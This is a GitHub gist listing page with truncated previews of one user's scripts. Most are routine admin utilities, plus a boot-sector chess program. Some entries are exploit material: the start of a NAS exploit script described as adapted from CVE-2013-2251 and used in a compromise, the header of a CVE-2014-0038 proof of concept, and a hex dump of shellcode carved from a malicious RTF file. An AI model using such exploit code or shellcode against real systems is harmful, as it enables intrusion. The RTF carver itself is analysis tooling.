jwieder’s gists

jwieder / GetBundles.php

Created July 19, 2016 23:08

A simple PHP script that allows users that allows WHMCS users to retrieve Product Bundle details including Display Price, Description, et al. Responses output is JSON encoded. Tested in WHMCS v6.3.

	<?php

	// HTTP USAGE:
	// http://example.com/GetBundles.php?bid=
	// BASH CLI EXAMPLE USAGE:
	// export QUERY_STRING="bid=2" ; php -e -r 'parse_str($_SERVER["QUERY_STRING"], $_GET); include "GetBundles.php";'

	$db_host = "mysql.databasehost.ext";
	$db_name = "mysqlDatabaseName";
	$db_user = "MysqlUsername";

jwieder / finderMover.sh

Created February 24, 2016 17:25

Finds files of a given extension in a directory and moves them into another directory. Combine with cron to - for example - move log files to a network share for long term storage. Follows symlinks. Adjust maxdepth to increase or decrease recursion. Simple & effective!

	#!/bin/bash
	Source="/var/log"
	Destination="/to/your/backups"
	find -L $Source -maxdepth 3 -type f -name "*.gz" -exec mv {} $Destination \;

jwieder / empty-folderScan.ps1

Created February 20, 2016 18:23

Powershell script to identify all empty folders in C partition. Replace C:\ with the path of your choice

	$a = Get-ChildItem C:\ -recurse \| Where-Object {$_.PSIsContainer -eq $True}
	$a \| Where-Object {$_.GetFiles().Count -eq 0} \| Select-Object FullName

jwieder / keybase.md

Created February 18, 2016 16:40

keybase.io validation

Keybase proof

I hereby claim:

I am jwieder on github.
I am joshwieder (https://keybase.io/joshwieder) on keybase.
I have a public key ASACwy7VbhSGEFSeRBXCx0l6kUrHziwC5AuLSEe4U6dWewo

To claim this, I am signing this object:

jwieder / NAS.sh

Created February 4, 2016 20:51

Modified CVE-2013-2251, used to exploit 2TB Western Digital My Book World Edition NAS appliances during Feb 2016 NASA compromise

	#!/bin/sh

	echo '#!/bin/sh' >/var/upgrade/upgrade1.sh
	chmod 755 /var/upgrade/upgrade1.sh

	KEYGEN=/usr/bin/ssh-keygen
	SSHD=/usr/sbin/sshd
	RSA1_KEY=/etc/ssh_host_key
	RSA_KEY=/etc/ssh_host_rsa_key
	DSA_KEY=/etc/ssh_host_dsa_key

jwieder / CVE-2014-0038.c

Created February 4, 2016 20:42

CVE-2014-0038 POC script. Used in the Feb 2016 compromise of NASA.

	#define _GNU_SOURCE
	#include <netinet/ip.h>
	#include <stdio.h>
	#include <stdlib.h>
	#include <time.h>
	#include <string.h>
	#include <unistd.h>
	#include <fcntl.h>
	#include <sys/socket.h>
	#include <sys/stat.h>

jwieder / lib_netaddr.awk

Created November 4, 2015 15:41

convert massive subnet lists to CIDR very quickly (280K lines ~15 sec) - h/t ripat

	#
	# Library with various ip manipulation functions
	#

	# convert ip ranges to CIDR notation
	# str range2cidr(ip2dec("192.168.0.15"), ip2dec("192.168.5.115"))
	#
	# Credit to Chubler_XL for this brilliant function. (see his post below for non GNU awk)
	#
	function range2cidr(ipStart, ipEnd, bits, mask, newip) {

jwieder / sc-bin.hex

Created March 31, 2015 01:23

Output of rtf-carver.py used on CVE-2010-3333 exploited RTF file

	0000000: 0123 4567 ff03 0000 0000 0000 0000 0000 .#Eg............
	0000010: 0000 0000 0000 0000 0000 1245 fa7f 0000 ...........E....
	0000020: 807c 0000 807c bbbb bbbb cccc cccc dddd .\|...\|..........
	0000030: dddd 906a 887c 9090 9090 64a1 3000 0000 ...j.\|....d.0...
	0000040: 8b40 0c8b 701c ad8b 7008 e9f4 0200 0058 [email protected]
	0000050: 81ec 0003 0000 8bfc 5033 c0b9 0003 0000 ........P3......
	0000060: f3aa 588b fc89 7708 8947 10ff 7708 68ec ..X...w..G..w.h.
	0000070: 9703 0ce8 7702 0000 8947 1cff 7708 68f6 ....w....G..w.h.
	0000080: 22b9 7ce8 6702 0000 8947 20ff 7708 68a5 ".\|.g....G .w.h.
	0000090: 1700 7ce8 5702 0000 8947 24ff 7708 68fb ..\|.W....G$.w.h.

jwieder / rtf-carv.py

Created March 31, 2015 01:15

Python script to extract shell code from RTF documents with viral payloads, specifically CVE-2010-3333

	import sys
	from StringIO import StringIO

	def parse_rtf(f):
	d = f.read()
	# \rtf & \shp
	if d.find('\x7b\x5c\x72') != -1 and d.find('\x5c\x73\x68\x70') != -1 and d.find('\x5c\x73\x70') != -1:
	addr = d.find('\x5c\x73\x76')
	if addr != -1:
	f.seek(addr)

jwieder / BootChess.asm

Created February 2, 2015 01:16

BootChess - a 512 byte x86 boot sector implementation of chess

	;----------RED-SECTOR-INC.-proudly-presents-a-33-year-old-record-:----------
	; 468-byte footprint___ _ "...The original chess game in a bootsector"
	; / / _____ _ _ _____ _ _ ___ _
	; .::. / / / / / / / / / /
	; :::: / / ____ .-/ _ ___/-. .-/ _ ___/-. / /__
	; :: / \ \| \| . \| \| \| . \| / /
	; :: __ _ \ l \| \| \| l \| \| / ___/
	; .::. / / / / \| l \|_\| l \| \|__/ / ____
	; .::::. / __/ `--' `--' / \|
	; :::::::: / / \|

Josh Wieder jwieder

Keybase proof